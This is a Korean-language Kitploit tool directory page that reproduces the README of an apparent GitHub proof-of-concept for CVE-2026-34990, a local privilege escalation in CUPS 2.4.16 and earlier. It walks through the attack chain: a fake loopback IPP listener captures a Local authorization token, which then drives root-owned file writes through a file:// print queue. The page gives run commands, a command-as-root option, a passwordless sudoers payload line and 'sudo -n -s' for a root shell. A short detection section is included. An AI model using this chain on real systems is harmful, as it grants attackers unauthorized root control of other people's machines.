Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-34990-poc — CVE-2026-34990 — CUPS <= 2.4.16 로컬 권한 상승 | Kitploit
도구/GitHubGitHub/bara-almustafa/cve-2026-34990-poc
Defensive ToolsPrivilege EscalationVulnerability AnalysisExploitationSecurity VirtualizationPenetration TestingLearning & Education
GitHubbara-almustafa/cve-2026-34990-poc

CVE-2026-34990-poc

CVE-2026-34990 — CUPS <= 2.4.16 로컬 권한 상승

저장소 보기
2일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-34990 — CUPS <= 2.4.16 로컬 권한 상승

로컬 비권한 사용자 → root, 유출된 CUPS Local 인증 토큰과 정책을 우회하는 file:/// 프린트 큐를 통해.

PoC by 0xcybersoldier

status platform language type CVE


목차

  • 개요
  • 취약점 상세
  • 영향받는 버전
  • 공격 체인
  • 요구 사항
  • 설치
  • 사용법
  • 실행 예시
  • 내부 동작 방식
  • 문제 해결
  • 탐지
  • 완화
  • 참고 자료
  • 면책 조항
  • 작성자

개요

CVE-2026-34990은 OpenPrinting CUPS의 2.4.16 및 이전 버전에 영향을 미치는 로컬 권한 상승 취약점입니다.

CUPS 데몬(cupsd)에 접근할 수 있는 로컬 비권한 사용자는 루프백 인터페이스에서 공격자가 제어하는 IPP 서비스에 대해 인증을 수행하도록 유도할 수 있습니다.

그 결과로 얻은 Authorization: Local <token> 자격 증명은 CUPS 관리 인터페이스에 재사용될 수 있습니다.

이 공격 체인은 궁극적으로 file:/// 프린트 큐를 생성하고 cupsd가 root 권한으로 공격자가 제어하는 파일을 쓰도록 유도하는 데 사용될 수 있습니다.

대표적인 시연은 sudoers 드롭인을 사용하여 root 셸을 획득합니다.

이 저장소에는 공격 체인을 구현한 단일 파일 Python 3 PoC가 포함되어 있으며, 영구적인 권한 상승 설정을 직접 생성하지 않고 취약한 파일 쓰기 동작을 시연하기 위한 더 안전한 --check 모드도 포함되어 있습니다.


취약점 상세

필드값
CVE IDCVE-2026-34990
구성 요소OpenPrinting CUPS (cupsd)
영향받는 버전<= 2.4.16
취약점 분류CWE-306 / CWE-284
영향로컬 권한 상승
공격 벡터로컬
필요 권한낮음
사용자 상호작용없음
발견자Asim Viladi Oglu Manizada
권고문GHSA-c54j-2vqw-wpwp

영향받는 버전

PoC의 대상:

OpenPrinting CUPS <= 2.4.16

로컬에서 실행 중인 CUPS 버전 확인:

curl -sI http://127.0.0.1:631 | grep -i '^Server:'

예시:

Server: CUPS/2.4.16 IPP/2.1

참고: 벤더 패치와 버전 상태는 변경될 수 있으므로, 프로덕션 연구에서 영향받는 버전 범위에 의존하기 전에 현재 업스트림 권고문을 확인하십시오.


공격 체인

 [1] Local user issues CUPS-Create-Local-Printer
         |
         | device-uri = ipp://127.0.0.1:9189/ipp/print
         v
 [2] cupsd connects to the attacker-controlled
     IPP service on loopback
         |
         v
 [3] Fake IPP service responds with:
     401 Unauthorized
     WWW-Authenticate: Local trc="y"
         |
         v
 [4] CUPS/libcups retries the request with:
     Authorization: Local <token>
         |
         v
 [5] Token captured
         |
         v
 [6] Token reused against the CUPS administrative interface
         |
         v
 [7] Temporary file:// printer is created and
     transitioned through the printer-management workflow
         |
         v
 [8] Print-Job causes cupsd to write the supplied
     document to the file:// target
         |
         v
 [9] Demonstration payload can modify a privileged
     configuration such as sudoers
         |
         v
       ROOT

요구 사항

  • Python 3.8+
  • 표준 Python 라이브러리만 사용
  • 비권한 사용자로서의 로컬 셸 접근
  • 127.0.0.1:631에서 접근 가능한 CUPS 서비스
  • 권한 상승 시연을 위한 sudo 사용 가능
  • 취약한 CUPS 버전을 실행하는 Linux 시스템

외부 Python 패키지는 필요하지 않습니다.


설치

저장소 복제:

git clone https://github.com/bara-almustafa/CVE-2026-34990-poc.git
cd CVE-2026-34990-poc

PoC 실행 권한 부여:

chmod +x cve-2026-34990.py

추가 종속성은 필요하지 않습니다.


사용법

안전 검사 모드

비영구적 검증 모드로 시작하십시오:

./cve-2026-34990.py --check

검사 모드는 임시 증명 파일을 사용하여 취약한 root 소유 파일 쓰기 프리미티브를 시연하고 테스트 후 정리합니다.


Root 셸 시연

기본 모드는 전체 권한 상승 체인을 시연합니다:

./cve-2026-34990.py

Root로 명령 실행

다음과 같이 명령을 지정할 수 있습니다:

./cve-2026-34990.py -c 'id'

예시:

./cve-2026-34990.py -c 'id; whoami'

옵션

플래그기본값설명
--cups-port631로컬 CUPS TCP 포트
--listen-port9189토큰 캡처 리스너가 사용하는 루프백 포트
--check꺼짐안전 검증 모드
-c, --command—익스플로잇 성공 후 명령 실행
--proof-dir/var/tmp임시 증명 파일의 상위 디렉터리
--attempts8파일 쓰기 시도 횟수
--iterations80시도당 IPP 요청 라운드 수

실행 예시

$ ./cve-2026-34990.py --check

 ██████╗ ██╗  ██╗ ██████╗██╗   ██╗██████╗ ███████╗██████╗ ███████╗ ██████╗ ██╗     ██████╗ ██╗███████╗██████╗
██╔═████╗╚██╗██╔╝██╔════╝╚██╗ ██╔╝██╔══██╗██╔════╝██╔══██╗██╔════╝██╔═══██╗██║     ██╔══██╗██║██╔════╝██╔══██╗
██║██╔██║ ╚███╔╝ ██║      ╚████╔╝ ██████╔╝███████╗██████╔╝█████╗  ██║   ██║██║     ██║  ██║██║█████╗  ██████╔╝
████╔╝██║ ██╔██╗ ██║       ╚██╔╝  ██╔══██╗╚════██║██╔══██╗██╔══╝  ██║   ██║██║     ██║  ██║██║██╔══╝  ██╔══██╗
╚██████╔╝██╔╝ ██╗╚██████╗   ██║   ██████╔╝███████║██║  ██║███████╗╚██████╔╝███████╗██████╔╝██║███████╗██║  ██║
 ╚═════╝ ╚═╝  ╚═╝ ╚═════╝   ╚═╝   ╚═════╝ ╚══════╝╚═╝  ╚═╝╚══════╝ ╚═════╝ ╚══════╝╚═════╝ ╚═╝╚══════╝╚═╝  ╚═╝

  CVE-2026-34990 :: CUPS <= 2.4.16 Local Privilege Escalation
  PoC by 0xcybersoldier

[*] Triggering CUPS token leak...
[+] Captured CUPS Local authorization token
[*] File-write race: attempt 1/8
[+] VULNERABLE: CUPS wrote a root-owned proof file

내부 동작 방식

1. 토큰 캡처

PoC는 device-uri가 루프백 인터페이스에서 공격자가 제어하는 IPP 리스너를 가리키는 임시 CUPS 프린터를 생성합니다.

예시:

ipp://127.0.0.1:9189/ipp/print

로컬 리스너는 인증 챌린지로 응답합니다:

401 Unauthorized
WWW-Authenticate: Local trc="y"

이로 인해 CUPS 클라이언트/서버 상호작용이 로컬 인증 메커니즘을 사용하여 요청을 재시도하게 됩니다.

PoC는 그 결과로 생성되는 다음 자격 증명을 캡처합니다:

Authorization: Local <token>

2. 관리자 접근

캡처된 토큰은 CUPS 관리 인터페이스에 대한 요청에 재사용됩니다.

개념적으로:

Authorization: Local <TOKEN>

이는 후속 프린터 관리 작업에 필요한 인증 컨텍스트를 제공합니다.


3. 프린터 생성

그런 다음 공격은 프린터 관리 워크플로를 악용하여 file:// 대상을 참조하는 큐를 생성합니다.

관련 대상의 형식은 다음과 같습니다:

file:///path/to/target

PoC는 큐를 온라인 상태로 만들고 인쇄 작업을 제출하는 데 필요한 프린터 관리 작업을 사용합니다.


4. Root 수준 파일 쓰기

인쇄 작업은 원시 문서로 제출됩니다.

cupsd가 root 권한으로 동작하기 때문에, 결과 파일 작업은 root 권한으로 발생할 수 있습니다.

--check 모드는 이 프리미티브를 사용하여 임시 증명 파일을 생성하고 해당 파일이 UID 0 소유인지 확인합니다.


5. 권한 상승

전체 시연은 sudoers 드롭인과 같은 권한 있는 구성 파일을 사용할 수 있습니다.

개념적으로:

user ALL=(ALL) NOPASSWD: ALL

파일이 적절한 소유권과 권한으로 성공적으로 작성되면, 영향을 받는 사용자는 다음을 호출할 수 있습니다:

sudo -n -s

그리고 root 셸을 획득합니다.


문제 해결

증상가능한 원인제안된 해결책
No Local token receivedCUPS가 패치되었거나 리스너에 접근할 수 없음CUPS 버전 및 리스너 확인
CUPS is not reachableCUPS가 중지되었거나 다른 포트를 사용함--cups-port <port> 사용
인바운드 연결 없음로컬 프린터 생성이 제한됨CUPS 작업 정책 검토
NOT CONFIRMED파일 쓰기 시도가 성공하지 못함--attempts / --iterations 증가
Sudoers 페이로드 거부됨사용자 이름 또는 환경이 다름--check 사용
리스너 바인드 오류포트가 이미 사용 중다른 --listen-port 사용

디버깅

루프백 트래픽 모니터링:

sudo tcpdump -i lo -n port 9189

최소 검증 실행:

./cve-2026-34990.py \
    --check \
    --attempts 1 \
    --iterations 1

CUPS 서비스 확인:

systemctl status cups

리스닝 소켓 확인:

ss -lntp | grep ':631'

탐지

방어자는 이 공격 체인과 관련된 여러 지표를 모니터링할 수 있습니다.

네트워크 지표

다음을 찾으십시오:

cupsd → 127.0.0.1:<high-port>

특히 예상치 못한 로컬 포트로의 연결을 주시하십시오.

예시:

도구 다운로드